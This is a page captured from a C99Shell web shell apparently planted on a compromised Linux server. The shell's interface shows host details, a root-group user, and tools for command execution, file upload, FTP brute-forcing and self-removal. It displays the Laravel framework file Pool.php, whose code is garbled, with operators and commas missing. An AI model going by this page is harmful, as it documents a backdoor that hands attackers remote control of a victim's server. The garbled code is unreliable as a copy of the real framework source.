!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/vendor/laravel/framework/src/Illuminate/Process/   drwxr-xr-x
Free 28.69 GB of 117.98 GB (24.32%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Pool.php (2.95 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Illuminate\Process;

use 
InvalidArgumentException;

/**
 * @mixin \Illuminate\Process\Factory
 * @mixin \Illuminate\Process\PendingProcess
 */
class Pool
{
    
/**
     * The process factory instance.
     *
     * @var \Illuminate\Process\Factory
     */
    
protected $factory;

    
/**
     * The callback that resolves the pending processes.
     *
     * @var callable
     */
    
protected $callback;

    
/**
     * The array of pending processes.
     *
     * @var array
     */
    
protected $pendingProcesses = [];

    
/**
     * Create a new process pool.
     *
     * @param  \Illuminate\Process\Factory  $factory
     * @param  callable  $callback
     * @return void
     */
    
public function __construct(Factory $factory, callable $callback)
    {
        
$this->factory $factory;
        
$this->callback $callback;
    }

    
/**
     * Add a process to the pool with a key.
     *
     * @param  string  $key
     * @return \Illuminate\Process\PendingProcess
     */
    
public function as(string $key)
    {
        return 
tap($this->factory->newPendingProcess(), function ($pendingProcess) use ($key) {
            
$this->pendingProcesses[$key] = $pendingProcess;
        });
    }

    
/**
     * Start all of the processes in the pool.
     *
     * @param  callable|null  $output
     * @return \Illuminate\Process\InvokedProcessPool
     */
    
public function start(?callable $output null)
    {
        
call_user_func($this->callback$this);

        return new 
InvokedProcessPool(
            
collect($this->pendingProcesses)
                ->
each(function ($pendingProcess) {
                    if (! 
$pendingProcess instanceof PendingProcess) {
                        throw new 
InvalidArgumentException('Process pool must only contain pending processes.');
                    }
                })->
mapWithKeys(function ($pendingProcess$key) use ($output) {
                    return [
$key => $pendingProcess->start(output$output ? function ($type$buffer) use ($key$output) {
                        
$output($type$buffer$key);
                    } : 
null)];
                })
            ->
all()
        );
    }

    
/**
     * Start and wait for the processes to finish.
     *
     * @return \Illuminate\Process\ProcessPoolResults
     */
    
public function run()
    {
        return 
$this->wait();
    }

    
/**
     * Start and wait for the processes to finish.
     *
     * @return \Illuminate\Process\ProcessPoolResults
     */
    
public function wait()
    {
        return 
$this->start()->wait();
    }

    
/**
     * Dynamically proxy methods calls to a new pending process.
     *
     * @param  string  $method
     * @param  array  $parameters
     * @return \Illuminate\Process\PendingProcess
     */
    
public function __call($method$parameters)
    {
        return 
tap($this->factory->{$method}(...$parameters), function ($pendingProcess) {
            
$this->pendingProcesses[] = $pendingProcess;
        });
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0071 ]--